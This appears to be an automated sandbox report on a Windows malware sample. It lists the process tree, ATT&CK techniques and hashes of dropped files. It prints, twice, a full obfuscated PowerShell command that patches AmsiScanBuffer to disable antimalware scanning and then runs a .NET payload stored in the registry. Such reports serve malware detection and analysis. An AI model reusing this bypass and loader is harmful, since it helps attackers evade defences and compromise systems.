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C:\Windows\system32\ctfmon.exe/QuitInfo:0000000000000270;0000000000000274;2⤵PID:5008
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc1⤵PID:2736
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc1⤵PID:2744
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2788
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2796
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2924
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:716
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:3100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3140
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc1⤵PID:3236
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C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵PID:3472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:3564
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:3604
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:3656
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:3668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:3696
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3560
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:820
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4352
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:4476
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4688
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4728
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:5128
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C:\Windows\System32\SecurityHealthSystray.exe"C:\Windows\System32\SecurityHealthSystray.exe"1⤵PID:5236
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc1⤵PID:5480
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵PID:940
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:5468
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:548
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5412
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C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding1⤵PID:3352
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:5212
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C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:qBNqLMzwUddg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$sTAaUNBwjZuxXG,[Parameter(Position=1)][Type]$OQvxPiaXHX)$XIMBPqZWQao=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+'le'+'c'+''+'t'+''+'e'+''+'d'+''+'D'+'el'+[Char](101)+'g'+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+'e'+'l'+''+'e'+'g'+[Char](97)+'te'+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+'l'+''+'a'+''+'s'+'s'+[Char](44)+''+[Char](80)+''+'u'+''+'b'+'l'+[Char](105)+''+[Char](99)+''+','+'S'+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+'la'+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+'o'+'Cl'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$XIMBPqZWQao.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+'c'+''+[Char](105)+'a'+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+'i'+[Char](100)+''+'e'+''+[Char](66)+''+'y'+'S'+'i'+''+[Char](103)+','+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$sTAaUNBwjZuxXG).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+'M'+'a'+''+[Char](110)+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$XIMBPqZWQao.DefineMethod(''+'I'+''+'n'+'v'+[Char](111)+''+'k'+'e',''+[Char](80)+''+'u'+'b'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+'i'+[Char](103)+',N'+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+''+'o'+''+'t'+''+[Char](44)+'V'+'i'+''+[Char](114)+'tu'+[Char](97)+''+'l'+'',$OQvxPiaXHX,$sTAaUNBwjZuxXG).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+'im'+'e'+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+'g'+''+[Char](101)+'d');Write-Output $XIMBPqZWQao.CreateType();}$fVtdbTVzokyCV=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+'c'+'r'+'o'+[Char](115)+''+'o'+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+'2.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+'t'+[Char](105)+'ve'+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+'s'+'');$SLpkbUIgqCGahh=$fVtdbTVzokyCV.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'P'+'r'+'oc'+[Char](65)+''+'d'+''+[Char](100)+''+'r'+''+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+[Char](83)+'ta'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WkXoernkyKXNftizspW=qBNqLMzwUddg @([String])([IntPtr]);$dHFdKINmTrORdiUXFOwXdB=qBNqLMzwUddg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$EIrEDMdqqzV=$fVtdbTVzokyCV.GetMethod(''+[Char](71)+'e'+'t'+'Mod'+'u'+''+[Char](108)+''+[Char](101)+'H'+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$VQGiCCOmCGunKu=$SLpkbUIgqCGahh.Invoke($Null,@([Object]$EIrEDMdqqzV,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+[Char](76)+''+[Char](105)+'br'+'a'+''+'r'+''+'y'+''+[Char](65)+'')));$WvNKvFicNFBOVkGJQ=$SLpkbUIgqCGahh.Invoke($Null,@([Object]$EIrEDMdqqzV,[Object](''+[Char](86)+''+'i'+''+'r'+'t'+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$NFmOBLq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VQGiCCOmCGunKu,$WkXoernkyKXNftizspW).Invoke('a'+[Char](109)+'s'+[Char](105)+'.'+[Char](100)+'l'+'l'+'');$ccbyvJNNfgAHhFtkF=$SLpkbUIgqCGahh.Invoke($Null,@([Object]$NFmOBLq,[Object](''+[Char](65)+''+[Char](109)+'si'+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$MKmCpiTMGJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WvNKvFicNFBOVkGJQ,$dHFdKINmTrORdiUXFOwXdB).Invoke($ccbyvJNNfgAHhFtkF,[uint32]8,4,[ref]$MKmCpiTMGJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](55+76),[Byte](254-61),[Byte](236-236),[Byte](101+83),[Byte](23+64),[Byte](252-252),[Byte](35-28),[Byte](212-84),[Byte](168-37),[Byte](146+47),[Byte](227-227),[Byte](86+109),[Byte](88+43),[Byte](47+187),[Byte](84-84)),0,$ccbyvJNNfgAHhFtkF,182-167);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WvNKvFicNFBOVkGJQ,$dHFdKINmTrORdiUXFOwXdB).Invoke($ccbyvJNNfgAHhFtkF,[uint32]8,0x20,[ref]$MKmCpiTMGJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+'T'+''+'W'+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'N'+''+[Char](82)+''+'s'+''+[Char](116)+'ag'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:1428 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:qBNqLMzwUddg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$sTAaUNBwjZuxXG,[Parameter(Position=1)][Type]$OQvxPiaXHX)$XIMBPqZWQao=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+'le'+'c'+''+'t'+''+'e'+''+'d'+''+'D'+'el'+[Char](101)+'g'+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+'e'+'l'+''+'e'+'g'+[Char](97)+'te'+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+'l'+''+'a'+''+'s'+'s'+[Char](44)+''+[Char](80)+''+'u'+''+'b'+'l'+[Char](105)+''+[Char](99)+''+','+'S'+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+'la'+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+'o'+'Cl'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$XIMBPqZWQao.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+'c'+''+[Char](105)+'a'+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+'i'+[Char](100)+''+'e'+''+[Char](66)+''+'y'+'S'+'i'+''+[Char](103)+','+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$sTAaUNBwjZuxXG).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+'M'+'a'+''+[Char](110)+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$XIMBPqZWQao.DefineMethod(''+'I'+''+'n'+'v'+[Char](111)+''+'k'+'e',''+[Char](80)+''+'u'+'b'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+'i'+[Char](103)+',N'+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+''+'o'+''+'t'+''+[Char](44)+'V'+'i'+''+[Char](114)+'tu'+[Char](97)+''+'l'+'',$OQvxPiaXHX,$sTAaUNBwjZuxXG).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+'im'+'e'+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+'g'+''+[Char](101)+'d');Write-Output $XIMBPqZWQao.CreateType();}$fVtdbTVzokyCV=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+'c'+'r'+'o'+[Char](115)+''+'o'+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+'2.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+'t'+[Char](105)+'ve'+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+'s'+'');$SLpkbUIgqCGahh=$fVtdbTVzokyCV.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'P'+'r'+'oc'+[Char](65)+''+'d'+''+[Char](100)+''+'r'+''+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+[Char](83)+'ta'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WkXoernkyKXNftizspW=qBNqLMzwUddg @([String])([IntPtr]);$dHFdKINmTrORdiUXFOwXdB=qBNqLMzwUddg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$EIrEDMdqqzV=$fVtdbTVzokyCV.GetMethod(''+[Char](71)+'e'+'t'+'Mod'+'u'+''+[Char](108)+''+[Char](101)+'H'+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$VQGiCCOmCGunKu=$SLpkbUIgqCGahh.Invoke($Null,@([Object]$EIrEDMdqqzV,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+[Char](76)+''+[Char](105)+'br'+'a'+''+'r'+''+'y'+''+[Char](65)+'')));$WvNKvFicNFBOVkGJQ=$SLpkbUIgqCGahh.Invoke($Null,@([Object]$EIrEDMdqqzV,[Object](''+[Char](86)+''+'i'+''+'r'+'t'+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$NFmOBLq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VQGiCCOmCGunKu,$WkXoernkyKXNftizspW).Invoke('a'+[Char](109)+'s'+[Char](105)+'.'+[Char](100)+'l'+'l'+'');$ccbyvJNNfgAHhFtkF=$SLpkbUIgqCGahh.Invoke($Null,@([Object]$NFmOBLq,[Object](''+[Char](65)+''+[Char](109)+'si'+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$MKmCpiTMGJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WvNKvFicNFBOVkGJQ,$dHFdKINmTrORdiUXFOwXdB).Invoke($ccbyvJNNfgAHhFtkF,[uint32]8,4,[ref]$MKmCpiTMGJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](55+76),[Byte](254-61),[Byte](236-236),[Byte](101+83),[Byte](23+64),[Byte](252-252),[Byte](35-28),[Byte](212-84),[Byte](168-37),[Byte](146+47),[Byte](227-227),[Byte](86+109),[Byte](88+43),[Byte](47+187),[Byte](84-84)),0,$ccbyvJNNfgAHhFtkF,182-167);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WvNKvFicNFBOVkGJQ,$dHFdKINmTrORdiUXFOwXdB).Invoke($ccbyvJNNfgAHhFtkF,[uint32]8,0x20,[ref]$MKmCpiTMGJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+'T'+''+'W'+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'N'+''+[Char](82)+''+'s'+''+[Char](116)+'ag'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2256
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:4716
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:5312
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:4108
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ejsyh0p3\wmrxd8h.pak
- Size 3.6MB
- SHA256 6dd9565c11aeae9449b9fc1318f1094cf148759685b6be536bb43660383c4442
- MD5 3d11456f284533194c685c1a5ba5b66c
- SHA1 b4233f53bec0b479b5966d563ce2002d93ff4c3d
- SHA512 a42310d83269abb73b201b44257bc05df83470d9365b0a39fe18c53165e269696ad21c38ca380ead12709553ee626766f044e6dd498eebf9b12f3b4a6f948cdf
- SSDEEP 98304:vStuuh0tm3kw/28FXz3I0O5B2pL/3+dkk:LYP28FXzY0FLP+dX
- TLSH T1F4063359E6EA635AC658D4B28E018E8083CCFF0369410695B3613FBADDF5D04CE7BE49
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Install.exe
- Size 174KB
- SHA256 d574b3a4fcf607c296b91898ef8e32e20753ea00f3df4d7d8a85f51b7510dfbd
- MD5 6df775f220a925d4db8e3fd5b53e32f3
- SHA1 d8e13c91fef71f8d9035060722e877d710d4b7e5
- SHA512 f4901d21f34ca27c53ad88582c762ea6b275f79351ad50d9d03e9603430b6edc8e9aec67a1d1e620a6fe79ba70a455258c660c5d39f6268f69995d008581fefb
- SSDEEP 3072:zQps90TW5JqmkYh3tSa0EB/aanUKfD15aJFrOKtrBsJe1Qw1CvV0q/RSIjBl2c2v:zQps90TW5Jqmkwtz0gPUKfDzaJFrOqZ9
- TLSH T185041246EBE8253AF4B24537B9FB9E0151F2B964474AD6AC851420BF1EB0B00853B37F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fb4eiutm.1xu.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\lol.exe
- Size 3.4MB
- SHA256 e73699bad1ec1a7c3cd5c6976ab1958508a60d0ee1d4a5c22d5532838c6d881a
- MD5 db2affb2bd2073b32730a30ad2d387a2
- SHA1 5c98dc7afd57e6b01e57c93eccb94a2e1015b46f
- SHA512 8778fef1a3d5b05f92b097b486b5f258c2a71398a3140ad154a16a5bb105797689f1190fce8bf252fcf62249b0847393e9acceef0e98b0f17669d7e7ee5f64a9
- SSDEEP 98304:YvY4vavG3MO7oWnnzhQMIJN2Lv1jijeY:dq5oWnnzqM/vFijd
- TLSH T1F4F53359D7AA734BCA58D4B29E41CA8097C8BF0369000652B3713EB9D9F5D08CE7BE46
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\Tasks\$AppData\NRExtExport.exe
- Size 4KB
- SHA256 54da79bc25707ba9357fa570ad110e4967ce789906eb1a4a40c495f1ed599eab
- MD5 36d11db43d544e47b270c8040f3b83d5
- SHA1 0fa13b0a0355efd85933cbe431436edef2f4f3a9
- SHA512 a4707de16e721aecc147a7169c9dafed4d196cb3b22258073d84488c471b5f19e55095a236c5f893b7eafc701be9fb77e27d3ef35a5b269910da4e8bfa88a62a
- SSDEEP 96:tcKn5ydmCoRydRi9GCCOnknNGdiCipVA9ll7dhFFnh+:R5ydmCoRydRBClyNxC9rhh+
- TLSH T179A1484367FE1109F2F3671CAABB54628A6BBC555A38C43D10AC240DCBF3E2285607B7
- MD5 SHA1 SHA512 SSDEEP TLSH